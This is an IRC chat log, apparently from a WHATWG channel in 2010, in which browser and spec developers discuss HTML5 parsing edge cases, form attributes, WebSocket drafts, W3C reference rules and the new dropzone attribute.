bummer

[03:09:02.0000] <zcorpan>
annevk: cool (re quirks)

[03:10:00.0000] <annevk>
:)

[03:10:01.0000] <annevk>
for parsing and serializing I was thinking a separate spec

[03:10:02.0000] <annevk>
that also generalizes innerHTML

[03:10:03.0000] <annevk>
and does DOMParser and XMLSerializer

[03:11:00.0000] <annevk>
and maybe the mapping of XML -> DOM

[03:12:00.0000] <zcorpan>
do you have the quirks spec up somewhere?

[03:12:01.0000] <annevk>
apart from dbaron's Mozilla documents and source code I do not think there is anything

[03:13:00.0000] <annevk>
well, HTML5 now defines the hooks :)

[03:13:01.0000] <zcorpan>
oh, i thought you had started to put down some words

[03:14:00.0000] <zcorpan>
uh

[03:14:01.0000] <zcorpan>
i totally misread what you wrote first

[03:15:00.0000] <zcorpan>
so yeah, that could be a fun spec to do

[04:13:00.0000] <jgraham>
<table><caption><math></table><p>

[04:14:00.0000] <jgraham>
Seems to have the <p> as a child of the <caption> in the latest spec whereas before it was a child of the <table>

[04:14:01.0000] <jgraham>
Anyone recall off hand if that change was intentional?

[04:14:02.0000] <jgraham>
hsivonen: ^

[04:15:00.0000] <jgraham>
erm, not <table>

[04:15:01.0000] <jgraham>
<body>

[04:15:02.0000] <jgraham>
obviously

[04:25:00.0000] <hsivonen>
jgraham: no idea if it was intentional

[04:25:01.0000] <hsivonen>
jgraham: I very much suspect it wasn't intentional

[04:26:00.0000] <hsivonen>
frankly, I'm starting to lose my patience with having "in foreign content" as a mode

[04:27:00.0000] <hsivonen>
instead of doing what I suggested in http://www.w3.org/Bugs/Public/show_bug.cgi?id=9659#c20 and onwards

[04:27:01.0000] <zcorpan>
why would </body> close the caption?

[04:27:02.0000] <zcorpan>
seems like a bug fix to me

[04:27:03.0000] <hsivonen>
zcorpan: jgraham had </table> there

[04:28:00.0000] <zcorpan>
ah

[04:32:00.0000] <jgraham>
It is of course possible that I am misreading the current spec

[04:33:00.0000] <jgraham>
But I think one ends up processing </table> In Body where it is ignored

[04:34:00.0000] <hsivonen>
/me wonders where the media accessibility requirements that look like copied and pasted from elsewhere were copied and pasted from

[04:34:01.0000] <hsivonen>
pasted the suspicious reqs to Google doesn't yield exact hits revealing the source

[04:36:00.0000] <hsivonen>
s/ed/ing/

[04:38:00.0000] <jgraham>
hsivonen: The unicode requirement at least seems to be the same version as referenced in UAAG 2.0

[04:40:00.0000] <hsivonen>
jgraham: ok

[04:41:00.0000] <abarth>
hsivonen: branches per token aren't measurable, AFACT

[04:42:00.0000] <abarth>
branches per character, however, are :)

[04:43:00.0000] <jgraham>
abarth: Context?

[04:43:01.0000] <hsivonen>
abarth: AFAICT, what I suggested wouldn't require implementations to introduce new per-char branches

[04:43:02.0000] <abarth|decoders>
jgraham: hsivonen's comment about changing foreign content not to be a mode

[04:43:03.0000] <jgraham>
Oh hsivonen's suggestion

[04:43:04.0000] <jgraham>
I assume that would be per-token

[04:45:00.0000] <hsivonen>
I wonder if I could talk sicking into approving the implementation of my suggestion in Gecko. Then disagreements between Gecko and the spec could summarily be treated as spec bugs

[04:45:01.0000] <abarth|decoders>
that doesn

[04:45:02.0000] <abarth|decoders>
t seem in the spirit of this process

[04:46:00.0000] <hsivonen>
abarth|decoders: didn't Hixie say what effectively amounted to everything where my suggestion and the spec a distinguishable being spec bugs?

[04:46:01.0000] <jgraham>
I am slightly concerned that we are either going to end up with non-interoperable foreign content handling, or buggy-at-the-spec-level foreign content handling or both

[04:46:02.0000] <hsivonen>
s/a/are/

[04:47:00.0000] <jgraham>
(that's in roughly reverse order of probability)

[04:47:01.0000] <hsivonen>
jgraham: I think the easiest way to avoid buggy-at-the-spec-level would be not prematurely optimizing on the spec level

[04:47:02.0000] <abarth|decoders>
it's important that we stop changing the spec at some point

[04:48:00.0000] <abarth|decoders>
otherwise, we're going to end up with a mess

[04:48:01.0000] <jgraham>
abarth|decoders: Agreed. But we are already heading that way

[04:49:00.0000] <hsivonen>
abarth|decoders: indeed. which is why I'm so frustrated with more and more "in foreign content" bugs showing up and being traceable to a premature optimization on the spec level

[04:50:00.0000] <abarth|decoders>
i suspect webkit won't change much in the parser for a while

[04:50:01.0000] <abarth|decoders>
and wait for the spec to stop changing

[04:50:02.0000] <hsivonen>
abarth|decoders: on the bright side, the current differences between Gecko trunk and WebKit trunk are much less of a mess than the delta before HTML5

[04:50:03.0000] <abarth|decoders>
then we'll do a sweep and fix whatever needs to be changed

[04:50:04.0000] <abarth|decoders>
oh, yes, indeed :)

[04:50:05.0000] <abarth|decoders>
the possibility of getting it exactly right are tantalizing :)

[04:50:06.0000] <jgraham>
Indeed. It is all a win for sure

[04:51:00.0000] <jgraham>
But it will be sad to birth a new feature (mixed content text/html) with bad interop or weird behaviour

[04:52:00.0000] <abarth|decoders>
that's true

[04:52:01.0000] <abarth|decoders>
however, i'm a big believe in worse-is-better

[04:52:02.0000] <abarth|decoders>
:)

[04:52:03.0000] <jgraham>
Although maybe Microsoft have consigned us to that path anyway; I haven't tried SVG-in-HTML in IE9

[04:52:04.0000] <hsivonen>
jgraham: I haven't tried the latest PP, but the earlier stuff wasn't compliant to any spec draft

[04:53:00.0000] <jgraham>
Right, my impression was they had taken an approach that could be broadly described as "making shit up"

[04:53:01.0000] <abarth|decoders>
i suspect that will just lead them down a path of pain

[04:54:00.0000] <zcorpan>
iirc they initially didn't implement the breakout at all, but i filed a bug about it and in a later PP they did implement the breakout

[04:54:01.0000] <zcorpan>
i didn't check carefully how well it matched the spec

[04:55:00.0000] <hsivonen>
zcorpan: I didn't test even that profoundly. My testing result was that the case correction and xlink:href stuff was wrong

[04:55:01.0000] <zcorpan>
i infer from the latest demos that the latest PP supports <article> etc, btw

[04:57:00.0000] <hsivonen>
abarth|decoders: what's your take on "reset the insertion mode" vs. storing the insertion mode on the tree builder stack such that popping automatically restores the right mode?

[04:57:01.0000] <hsivonen>
abarth|decoders: that's another case where the spec contains an optimization that has been faulty in the past

[04:57:02.0000] <abarth|decoders>
hsivonen: honestly, i haven't looked into it

[04:58:00.0000] <abarth|decoders>
at the moment, I'm more interested in \n in the value attribute of the input tag

[04:58:01.0000] <abarth|decoders>
somehow it magically disappears in Firefox

[04:59:00.0000] <hsivonen>
on the bright side, the old WebKit tree builder tried to optimize the tracking of <p> on stack, but Hixie didn't try to put that optimization in the spec

[04:59:01.0000] <abarth|decoders>
that's causing a (minor) compat problem

[04:59:02.0000] <hsivonen>
abarth|decoders: sounds like volkmar's area and not a parser thing

[04:59:03.0000] <abarth|decoders>
the worst recent fallout from the HTML5 parser is that we broke composing email in zimbra

[04:59:04.0000] <abarth|decoders>
hsivonen: it regressed with the parser change

[05:00:00.0000] <abarth|decoders>
hsivonen: i think the parser was doing some work that should have been done elsewhere

[05:00:01.0000] <hsivonen>
abarth|decoders: interesting. Zimbra WFM in Gecko.

[05:00:02.0000] <abarth|decoders>
yeah, it's a UA detect thing

[05:00:03.0000] <hsivonen>
abarth|decoders: UA sniffing is sadness

[05:00:04.0000] <hsivonen>
(vendor prefixes are, too)

[05:00:05.0000] <abarth|decoders>
for the site to work, they need to call document.open to cancel a load (don't ask)

[05:01:00.0000] <abarth|decoders>
but they'll only do it for Safari if document.body is null

[05:01:01.0000] <abarth|decoders>
which is basically impossible now

[05:01:02.0000] <abarth|decoders>
but somehow was possible in the old parser

[05:01:03.0000] <hsivonen>
abarth|decoders: sounds like a really weird set of assumptions

[05:01:04.0000] <hsivonen>
Web apps <3

[05:01:05.0000] <abarth|decoders>
yeah, their code is crap

[05:01:06.0000] <abarth|decoders>
they've "fixed" it

[05:01:07.0000] <abarth|decoders>
by adding a 30ms timeout

[05:01:08.0000] <abarth|decoders>
which doesn't make any sense

[05:01:09.0000] <hsivonen>
/me facepalms

[05:02:00.0000] <abarth|decoders>
it's complicated, but as long as the network load finished before the timeout

[05:02:01.0000] <abarth|decoders>
the site works

[05:02:02.0000] <abarth|decoders>
but, of course, that's not deterministic

[05:03:00.0000] <jgraham>
Hahaha

[05:03:01.0000] <zcorpan>
http://www.kingofforwards.com/wp-content/uploads/2010/01/image0103.jpg

[05:03:02.0000] <volkmar>
abarth|decoders: what about \n in input ?

[05:03:03.0000] <abarth|decoders>
i have no idea why they think Safari needs a 30 ms timeout but Firefox doesn't

[05:03:04.0000] <abarth|decoders>
they just need to remove the UA detect

[05:03:05.0000] <abarth|decoders>
the funniest part

[05:04:00.0000] <abarth|decoders>
is that if you don't match any of their UAs, then there's no way for the site to work

[05:04:01.0000] <abarth|decoders>
since they never call document.open

[05:04:02.0000] <abarth|decoders>
:(

[05:04:03.0000] <abarth|decoders>
volkmar: consider the following HTML:

[05:04:04.0000] <zcorpan>
do they sniff for Opera?

[05:04:05.0000] <Rik`>
abarth|decoders: sorry, lunch time, give us volkmar back !

[05:04:06.0000] <abarth|decoders>
<input type="text" value="

[05:04:07.0000] <abarth|decoders>
">

[05:04:08.0000] <jgraham>
zcorpan: I think the site works in Opera

[05:05:00.0000] <abarth|decoders>
where there's a \r between the " and the "

[05:05:01.0000] <volkmar>
abarth|decoders: before it was showing " " as a value and now "", right?

[05:05:02.0000] <abarth|decoders>
webkit used to have "" but now has " "

[05:05:03.0000] <abarth|decoders>
firefox has ""

[05:05:04.0000] <abarth|decoders>
zcorpan: yes

[05:06:00.0000] <volkmar>
abarth|decoders: but that's what the specs want, AFAICT

[05:06:01.0000] <abarth|decoders>
zcorpan: the IE code path is even more insane than the others

[05:06:02.0000] <abarth|decoders>
volkmar: which?

[05:06:03.0000] <hsivonen>
Zimbra doesn't run if it finds "Gecko/" in the UA string without the next character being a digit...

[05:07:00.0000] <volkmar>
abarth|decoders: http://www.whatwg.org/specs/web-apps/current-work/multipage/states-of-the-type-attribute.html#text-state-and-search-state

[05:07:01.0000] <volkmar>
see "The value sanitization algorithm is as follows: Strip line breaks from the value."

[05:08:00.0000] <abarth|decoders>
volkmar: thanks.  webkit must be missing that requirement

[05:08:01.0000] <volkmar>
i guess

[05:11:00.0000] <abarth|decoders>
ok, bed time for me

[05:11:01.0000] <zcorpan>
nn

[05:28:00.0000] <jgraham>
OK, I think that with <svg><foreignObject><div><frameset> and the same with s/frameset/select/ you can now reset the insertion mode into "In Frameset" and "In Select" which previosuly was only possible with innerHTML

[05:37:00.0000] <hsivonen>
jgraham: looks like we really should get rid of "in foreign content" as a mode and put the mode on the stack instead of resetting it

[05:39:00.0000] <jgraham>
Hmm, I managed to file the same bug twice

[05:41:00.0000] <annevk>
jgraham, are you sure you are not just getting two emails?

[05:41:01.0000] <jgraham>
Different bug number

[05:41:02.0000] <jgraham>
Resolved as dupe, anyway

[05:41:03.0000] <annevk>
aah, sucks

[05:43:00.0000] <annevk>
lol

[05:43:01.0000] <annevk>
http://www.brucelawson.co.uk/2010/five-things-carrots-can-do-that-html5-cant/

[05:52:00.0000] <zcorpan>
the carrot looks like a penis

[05:54:00.0000] <zcorpan>
i don't know if that's a win or a fail for the carrot

[06:05:00.0000] <Rich_Clark>
Question re @formaction etc, why are they required in HTML5? What's the difference between that & @action on a form?

[06:05:01.0000] <annevk>
zcorpan, guess he couldn't make that joke in front of his kids

[06:12:00.0000] <zcorpan>
Rich_Clark: you may want to use different actions for different submit buttons

[06:13:00.0000] <Rich_Clark>
zcropan: rather than splitting into individual forms?

[06:14:00.0000] <annevk>
right

[06:14:01.0000] <Rich_Clark>
zcorpan: also I assume the same reasoning is valid for @formenctype, @formmethod, @formtarget & @form?

[06:14:02.0000] <annevk>
and formnovalidate

[06:14:03.0000] <zcorpan>
form="" is different

[06:15:00.0000] <annevk>
right, not form

[06:15:01.0000] <Rich_Clark>
ah yeah, associates an input with a form, right

[06:16:00.0000] <Rich_Clark>
so use case would be something like a .NET template that wraps the whole document in a form?

[06:16:01.0000] <zcorpan>
the use case for formnovalidate="" is "save draft" button where the form has required fields but you don't need to fill them out for saving, only for publishing

[06:18:00.0000] <annevk>
Rich_Clark, the use case for form="" is tables

[06:20:00.0000] <Rich_Clark>
annevk: right, thanks. Makes sense.

[06:21:00.0000] <Rich_Clark>
zcorpan: so that's why you'd use @formnovalidate over @novalidate?

[06:22:00.0000] <zcorpan>
yeah

[06:22:01.0000] <zcorpan>
use novalidate="" if you don't want to validate the form but still benefit from nice UI with type=url or so

[06:23:00.0000] <zcorpan>
i don't know what the use cases are for formenctype, formmethod or formtarget

[06:24:00.0000] <zcorpan>
well i could imagine formtarget for preview in iframe

[06:26:00.0000] <Rich_Clark>
great, thanks

[06:27:00.0000] <annevk>
i think it was mostly completeness

[06:27:01.0000] <annevk>
maybe so the <form> can be in the template, but you do not need the attributes of <form> to be changeable

[06:28:00.0000] <annevk>
quite the edge case scenario though

[07:13:00.0000] <karlcow>
http://paramsr.us/tracker/

[07:14:00.0000] <karlcow>
experimental rel values tracker

[07:14:01.0000] <karlcow>
announced at http://lists.w3.org/Archives/Public/public-html/2010Oct/0460

[07:28:00.0000] <hsivonen>
karlcow: I guess a domain owned by mnot is much better than a domain owned by Hixie...

[07:28:01.0000] <karlcow>
no better.

[07:34:00.0000] <jsumners>
where can i read about why the 'name' attribute on the 'a' element is obsolete?

[07:35:00.0000] <Philip`>
(Seems to be based on http://pypi.python.org/pypi/roundup)

[07:35:01.0000] <Philip`>
jsumners: http://www.w3.org/TR/xhtml1/#h-4.10

[07:35:02.0000] <hsivonen>
jsumners: around the HTML 4 timeframe, some people thought id was much superior and since Netscape 4 died, everyone implements id, so the transition is relatively complete

[07:36:00.0000] <hsivonen>
jsumners: in retrospect, the transition seems rather pointless

[07:37:00.0000] <jsumners>
okay, that clears it up. thank you

[07:40:00.0000] <karlcow>
/me wonders if bruce's site is down. Slashdotted or something?

[07:41:00.0000] <karlcow>
/me sees it is working now

[07:43:00.0000] <mpilgrim>
/me idly wonders if web sockets work interoperably yet

[07:44:00.0000] <jgraham>
mpilgrim: "sort of"

[07:44:01.0000] <mpilgrim>
what's the best wrapper? socket.io?

[07:45:00.0000] <jgraham>
Opera+Firefox+WebKit have -00 support in their latest dev releases (stable inthe case of Chrome/Safari)

[07:45:01.0000] <Philip`>
/me thought the problem was that everyone now interoperably implements an insecure protocol

[07:45:02.0000] <hsivonen>
mpilgrim: the question isn't "yet" but "for how long"

[07:45:03.0000] <jgraham>
The latest IETF draft is incompatible with -00

[07:46:00.0000] <jgraham>
Chrome are talking about implementing the latest draft

[07:46:01.0000] <jgraham>
A future draft will likely be incompatible with the current draft

[07:46:02.0000] <mpilgrim>
i'll take that as a "no", then

[07:47:00.0000] <jgraham>
Oh and the conversation on the mailing list died

[07:47:01.0000] <jgraham>
Without reaching any agreement

[07:47:02.0000] <mpilgrim>
that's utterly shocking

[07:49:00.0000] <mpilgrim>
holy crap, socket.io supports ie 5.5

[07:49:01.0000] <mpilgrim>
that's... disturbing

[07:49:02.0000] <jgraham>
WHATWG haters never mention the fact that Hixie has a great record of actually shipping. Other groups, not so much.

[07:50:00.0000] <Philip`>
mpilgrim: Why?

[07:51:00.0000] <Philip`>
(Is it disturbing that it's technologically possible, or that they bothered to write code that works in it, or that they bothered even testing it?)

[07:51:01.0000] <mpilgrim>
the latter two, mostly

[07:52:00.0000] <mpilgrim>
i don't even know where i would get a copy of ie 5.5

[07:52:01.0000] <Philip`>
IEs4Linux has it

[07:52:02.0000] <Lachy>
mpilgrim, from here http://browsers.evolt.org/?ie/win32/5.5

[07:52:03.0000] <Philip`>
http://browsers.evolt.org/ has it too

[07:53:00.0000] <Philip`>
Hmph

[07:54:00.0000] <mpilgrim>
wow, that's a lot of browsers i've never heard of

[07:54:01.0000] <mpilgrim>
and a lot more i haven't heard about in 10 years

[07:54:02.0000] <mpilgrim>
whatever happened to iCab? i used to use iCab exclusively

[07:54:03.0000] <mpilgrim>
around the time IE5/Mac came out, IIRC

[07:55:00.0000] <Lachy>
iCab is still around. Last I heard, they switched to using webkit

[07:55:01.0000] <jgraham>
You're not an avid GrassHopper MDI Explorer fanboi then?

[07:55:02.0000] <jgraham>
(seems to just be an IE shell)

[07:56:00.0000] <mpilgrim>
wow, iCab now has an iPhone version too

[07:56:01.0000] <jgraham>
I was going to say "wow iCab charges money"

[07:59:00.0000] <karlcow>
"Our attention is now focused on delivering the W3C satellite in mid-2011 and on initiating a new programme to compensate for this loss."

[07:59:01.0000] <karlcow>
-- http://www.physorg.com/news/2010-10-eutelsat-just-launched-television-satellite.html

[08:00:00.0000] <jgraham>
They finally decided to put MikeSmith into orbit?

[08:01:00.0000] <karlcow>
s/Ariane 5/MikeSmith 5/

[09:12:00.0000] <MikeSmith>
hober: http://github.com/nyuhuhuu/htmllib-elisp

[09:15:00.0000] <jgraham>
MikeSmith: All the files are empty

[09:17:00.0000] <MikeSmith>
jhmm

[09:18:00.0000] <jgraham>
/me wonders if it is too much to ask for emacs to have working copy and paste

[09:20:00.0000] <Philip`>
I expect it works fine, as long as you use Emacs as your entire desktop environment

[09:22:00.0000] <Philip`>
/me uses the 'mswin' script for vim, and then things like clipboard access seem to work fine and with the standard keys

[09:24:00.0000] <AryehGregor>
The standard way to access your clipboard in vim is "+, right?  Like "+y and "+p and "+P and, I don't know, whatever else you can do with clipboards?

[09:24:01.0000] <AryehGregor>
It seems to work with vim locally, but alas, not on remote servers.  Then I just need to rely on xterm pasting it and hope vim doesn't autoindent it too badly (or briefly use :set paste).

[09:25:00.0000] <jgraham>
It's not the keys that are the problem, it is the weirdness around which clipboard the text ends up on. Mostly now I copy from emacs, paste into gedit, copy from gedit and paste to the final destination

[09:25:01.0000] <AryehGregor>
. . . it's scary how many features even vim has.  I don't want to know about emacs.

[09:25:02.0000] <jgraham>
Which is about as awful a solution as it sounds

[09:26:00.0000] <AryehGregor>
/me occasionally re-reads parts of the vim manual to learn about all the crazy awesome features he's never heard of.

[09:26:01.0000] <AryehGregor>
I should commit to memorizing one more navigation command per week and actually using it when appropriate, that way I'll actually learn them all.

[09:26:02.0000] <karlcow>
jgraham: http://www.emacswiki.org/emacs/CopyAndPaste would that help?

[09:30:00.0000] <jgraham>
karlcow: Who knows. Maybe. I guess I can try throwing elisp I don't understand at the problem.

[09:30:01.0000] <jgraham>
Thanks for the pointer

[09:48:00.0000] <hsivonen>
jgraham: Canonical's support suggested buying a separate server for running gcc!

[09:50:00.0000] <jgraham>
Oh, that is quite awesome

[09:58:00.0000] <jgraham>
/me wonders if people complaining that the iPhone couldn't run multiple applications were told to buy more iPhones

[10:01:00.0000] <Philip`>
Seems like a more helpful response than "sorry, there's nothing you can do at all"

[10:01:01.0000] <Philip`>
(though less helpful than an actual fix)

[10:38:00.0000] <hober>
foolip jgraham: yeah, I intend the elisp tokenizer to be the backend for (yet another) html major mode

[10:38:01.0000] <hober>
I'm hoping to get a lot of value out of it in terms of intelligent editing commands without having to implement the treebuilder

[10:38:02.0000] <hober>
(which I'm sure I'll do anyway at some point, admittedly)

[10:41:00.0000] <hsivonen>
I wonder what kind of problems actually get solved by support

[10:41:01.0000] <hsivonen>
I've had one of my issues semi-solved until the next major Ubuntu release broke stuff so that even the workaround no longer worked

[10:43:00.0000] <hober>
MikeSmith: interesting. I'll ping him and point out I've already got the tokenizer implemented http://github.com/hober/html5-el/blob/master/html5-tok.el

[10:43:01.0000] <hsivonen>
after reading about support contract-based open source business models, my expectation were very naive

[10:44:00.0000] <hsivonen>
hober: is your designed to be able to use the nxml-mode validation bits?

[10:46:00.0000] <hober>
well, if you want to use nxml-mode's validation bits, write xhtml5 in nxml-mode.

[10:47:00.0000] <hober>
if you want to use nxml-mode's relax-ng stuff in a major mode other than nxml-mode, I bet that would take a hell of a lot of effort

[10:47:01.0000] <hsivonen>
I take that as a "no"

[10:47:02.0000] <hober>
that said, the api of html5-tok.el is designed to be similar to xmltok.el, which is what nxml-mode is built on

[10:48:00.0000] <hober>
but you couldn't just drop it in as a replacement, since nxml-mode makes all sorts of xml assumptions that wouldn't hold

[10:50:00.0000] <hober>
I haven't looked yet to see how much the rng-*.el files depend on nxml-mode

[10:51:00.0000] <MikeSmith>
hober: I'm in Budapest for a few days and spoke at an event yesterday. I talked with this guy face-to-face there, but he didn't mention he was working on an HTML5 parser. If I'd known I would have talked to him about it more.

[10:51:01.0000] <hober>
if they can play nice with other major modes, I might be able to use them too.

[10:51:02.0000] <hober>
MikeSmith: I've interacted with him a bit before, in IRC and email. I didn't know he was working on one either.

[10:51:03.0000] <MikeSmith>
ah, OK

[10:52:00.0000] <MikeSmith>
seems like a sharp dude

[10:59:00.0000] <hober>
yeah, I added him to planet emacsen a while ago

[12:56:00.0000] <zcorpan>
so how is it again, are RECs allowed to reference non-RECs by Process?

[12:57:00.0000] <zcorpan>
or was it just pubrules? and you only have to make it clear to the director? or other?

[12:58:00.0000] <AryehGregor>
Sometimes I wish Linux were less exciting.

[12:58:01.0000] <Hixie>
zcorpan: just reference what needs referencing

[12:58:02.0000] <AryehGregor>
So that, like, I didn't have to spend two and a half hours debugging two separate kernel crashes that happen when I reboot, which have no error messages.

[12:59:00.0000] <AryehGregor>
(they went away when I switched to upstream kernel instead of Ubuntu's version, maybe that says something . . .)

[12:59:01.0000] <zcorpan>
Hixie: well i published a REC and now get questions if its references are OK according to Process

[12:59:02.0000] <zcorpan>
the only thing i can find about references is "Once W3C has published a Rescinded Recommendation, future W3C technical reports MUST NOT include normative references to that technical report."

[13:00:00.0000] <zcorpan>
in http://www.w3.org/2005/10/Process-20051014/process.html

[13:00:01.0000] <Hixie>
personally i recommend letting people who care about it worry about it

[13:00:02.0000] <Hixie>
and not worrying about it yourself :-)

[13:17:00.0000] <Hixie>
http://lcamtuf.blogspot.com/2010/10/http-cookies-or-how-not-to-design.html is pretty right-on

[13:18:00.0000] <david_carlisle>
zcorpan: non-normatove references are OK but not normative ones, eg mathmlforcss is blocked on css 2.1

[13:18:01.0000] <david_carlisle>
see box they inserted at the top of

[13:19:00.0000] <david_carlisle>
http://www.w3.org/TR/mathml-for-css/

[13:20:00.0000] <zcorpan>
david_carlisle: i can't find anything in the Process document other than what i quoted above about references

[13:31:00.0000] <david_carlisle>
zcorpan: quite:) but they blocked us anyway, they also wanted to block mathml3 but we persuaded them that the css reference wasn't really normative and allowed us to move the reference to the non normative reference appendix

[13:34:00.0000] <Hixie>
god forbid we make progress!

[13:53:00.0000] <annevk>
Selectors also got blocked

[13:54:00.0000] <annevk>
It is basically up to the Director whether or not your draft gets through

[13:55:00.0000] <hsivonen>
/me looks forward to reading "W3C says it's too early to deploy Selectors" in the news

[13:56:00.0000] <Hixie>
annevk: yet more reason to forget about the TR/ page :-)

[13:56:01.0000] <annevk>
Selectors is in PR and the only reason it did not go through is because CSS 2.1 is not through (CR at the moment)

[13:57:00.0000] <annevk>
Hixie, well, it is one of the reasons for working with the W3C...

[13:57:01.0000] <Hixie>
lol Selectors is stuck in PR until CSS2.1 is in PR?

[13:58:00.0000] <Hixie>
that's awesome

[13:58:01.0000] <Hixie>
the w3c process is so broken

[13:58:02.0000] <hsivonen>
why does CSS3 Foo depend on CSS 2.1 Process-wise?

[13:59:00.0000] <Hixie>
Selectors isn't CSS3 anything

[13:59:01.0000] <Hixie>
but in practice, CSS3 drafts depend on CSS2.1 for the bits that CSS3 hasn't yet defined

[13:59:02.0000] <Hixie>
e.g. the core grammar

[13:59:03.0000] <Hixie>
bbiab lunch

[14:00:00.0000] <annevk>
usually it depends on CSS 2.1 because the CSS "3" equivalent is less mature

[14:02:00.0000] <annevk>
one major thing Selectors leaves to CSS 2.1 is the definition of ::before and ::after

[14:25:00.0000] <zcorpan>
ah, so apparently readonly in webidl is tied to es5 strict mode...

[14:36:00.0000] <slinkcoding>
hi

[14:36:01.0000] <zcorpan>
hi

[15:05:00.0000] <AryehGregor>
"XML/HTML convergence, by Tim Berners-Lee (W3C)"

[15:05:01.0000] <AryehGregor>
That should be interesting.

[15:06:00.0000] <Philip`>
By "interesting" do you mean "another attempt to get the colon namespace syntax into HTML"?

[15:06:01.0000] <Philip`>
/me doesn't know if people have given up on that idea yet

[15:07:00.0000] <Dashiva>
You don't need to know, the answer is axiomatically no

[15:07:01.0000] <AryehGregor>
Are you implying that a desire to get the colon namespace syntax into HTML is a fundamental law of physics?

[15:08:00.0000] <AryehGregor>
Presumably that would have considerable implications for the question of intelligent design.

[15:08:01.0000] <Dashiva>
http://dashiva.net/test/shortbgcolor.html

[15:09:00.0000] <Dashiva>
All non-webkit browsers seem to fail this (parse #xyz as #0x0y0z)

[15:11:00.0000] <karlcow>
zcorpan: not part of the process document

[15:12:00.0000] <karlcow>
cf normative references

[15:16:00.0000] <karlcow>
there is a should in the Manual of Style but that is not mandatory. http://www.w3.org/2001/06/manual/#normative

[15:16:01.0000] <karlcow>
basically it is more a rule of thumb if I remember. The rationale is more on the side of if the prose is *normative by reference*, the reference as to be in a stable shape so that you do not end up with something which doesn't make sense any more if it has been completely changed. 

[15:17:00.0000] <karlcow>
Many things are negotiable if justified. :) There are usually no dragons. ;)

[15:17:01.0000] <annevk>
CSS 2.1 is a dragon then

[15:18:00.0000] <zcorpan>
"All Recommendations have errors in them." - http://www.w3.org/2001/06/manual/#Errata

[15:19:00.0000] <karlcow>
annevk: this I can believe ;)

[15:19:01.0000] <annevk>
zcorpan, sounds like browsers

[15:19:02.0000] <zcorpan>
karlcow: thanks for the link

[15:19:03.0000] <karlcow>
QA framework was also explaining the rationale of that http://www.w3.org/TR/qaframe-spec/#ref-define-practice

[15:19:04.0000] <GPHemsley>
How come <a href="./page.html">Page</a> is invalid?

[15:20:00.0000] <GPHemsley>
(i.e. dot-initial href)

[15:20:01.0000] <karlcow>
it's only a *good practice*, again nothing mandatory

[15:20:02.0000] <zcorpan>
GPHemsley: how come you think it's invalid?

[15:49:00.0000] <MikeSmith>
hmm… I notice weird artifacts in the W3C bugzilla home page

[15:49:01.0000] <MikeSmith>
in the hypertext for "Search existing bug reports" and "Open a new Bugzilla account"

[15:49:02.0000] <MikeSmith>
/me looks further

[15:50:00.0000] <MikeSmith>
http://www.w3.org/Bugs/Public/skins/standard/index/search.gif

[15:52:00.0000] <MikeSmith>
looks like it's trying to put that button as a background image behind the li for the "Search existing bug reports" text

[15:53:00.0000] <MikeSmith>
    #query     { background: url(index/search.gif)  no-repeat; }

[15:53:01.0000] <karlcow>
annevk: is Chaals still the Opera AC Rep?

[15:54:00.0000] <MikeSmith>
karlcow: yeah

[15:54:01.0000] <karlcow>
MikeSmith: thanks

[15:55:00.0000] <karlcow>
/me will have to read how to change affiliation again for groups (for Monday)

[15:55:01.0000] <Hixie>
DataTransferItem is now specced

[15:55:02.0000] <Hixie>
finally i can get to dropzone=""!

[15:57:00.0000] <MikeSmith>
Hixie: おめでとう

[15:57:01.0000] <MikeSmith>
or rather, gratulálok

[15:58:00.0000] <Hixie>
thanks

[15:58:01.0000] <Dashiva>
I have a dream, that one day MikeSmith will start speaking English

[15:58:02.0000] <Hixie>
Dashiva: translate.google.com

[15:58:03.0000] <MikeSmith>
/me wonders when drag and drop was first implemented

[15:59:00.0000] <Dashiva>
Oh, it's not that I don't understand, it's more of a comment on his polyglottitude

[15:59:01.0000] <Hixie>
ok so now that we have a model to talk about, the dropzone="" syntax discussion is more interesting

[16:00:00.0000] <Dashiva>
MikeSmith: How would you say "in meatspace" or "offline" or "in real life" in Japanese?

[16:00:01.0000] <MikeSmith>
Dashiva: cadw breuddwydio

[16:00:02.0000] <Hixie>
welsh now eh

[16:01:00.0000] <Dashiva>
MikeSmith: Come on, "cadw" is so obvious

[16:01:01.0000] <MikeSmith>
Welsh is so cool

[16:01:02.0000] <MikeSmith>
people who get to speak Welsh every day are lucky

[16:01:03.0000] <MikeSmith>
Icelandic too

[16:01:04.0000] <MikeSmith>
Dashiva: dunno

[16:02:00.0000] <MikeSmith>
offline is just katakanized

[16:02:01.0000] <MikeSmith>
katakana-ized

[16:02:02.0000] <MikeSmith>
obvious?

[16:02:03.0000] <Hixie>
i love that google translate can translate into latin now

[16:02:04.0000] <Hixie>
that's precious

[16:03:00.0000] <MikeSmith>
yeah, the Latin thing is fun

[16:03:01.0000] <MikeSmith>
I sweat it is used to do Esperanto as well

[16:03:02.0000] <Dashiva>
MikeSmith: What other language would use cadw

[16:03:03.0000] <MikeSmith>
*swear

[16:03:04.0000] <MikeSmith>
I don't even have any idea how to pronounce "cadw"

[16:04:00.0000] <Hixie>
i pronounce it "keep"

[16:05:00.0000] <Dashiva>
Google translate doesn't quite manage the classic "catapultam habeo. nisi pecuniam omnem mihi dabis ad caput tuum saxum immane mittam."

[16:05:01.0000] <Hixie>
hm

[16:05:02.0000] <Hixie>
what to expose to dropzone=""

[16:06:00.0000] <Hixie>
i guess first i should add a warning about type strings containing spaces

[16:08:00.0000] <MikeSmith>
Dashiva: about your question, I guess オンラインじゃない生活 or オンラインじゃない世界

[16:08:01.0000] <MikeSmith>
neither of which is terrifically poetic

[16:09:00.0000] <Lachy>
Hixie, what's dropzone?

[16:09:01.0000] <MikeSmith>
but that's the way I'd say it if I was actually trying to express it myself to somebody

[16:09:02.0000] <Hixie>
lachy: the attribute we're adding to make it possible to declaratively do the ondragenter/ondragover part of the DND model

[16:09:03.0000] <Hixie>
Lachy: see http://www.w3.org/Bugs/Public/show_bug.cgi?id=10712

[16:10:00.0000] <MikeSmith>
Hixie: drag and drop originally came from IE, right? Do you know how soon after it was that other browsers started to implement it? I mean, how long ago? 2005?

[16:11:00.0000] <Hixie>
no idea

[16:11:01.0000] <Hixie>
webkit was first

[16:11:02.0000] <Hixie>
maybe 2005?

[16:11:03.0000] <MikeSmith>
OK

[16:11:04.0000] <Hixie>
IE had it in IE4 or so

[16:11:05.0000] <Hixie>
years ago

[16:11:06.0000] <MikeSmith>
yeah, 2005 is what I was guessing for other browsers

[16:12:00.0000] <MikeSmith>
5 year lag between it being implemented across multiple browsers and it actually getting spec'ed

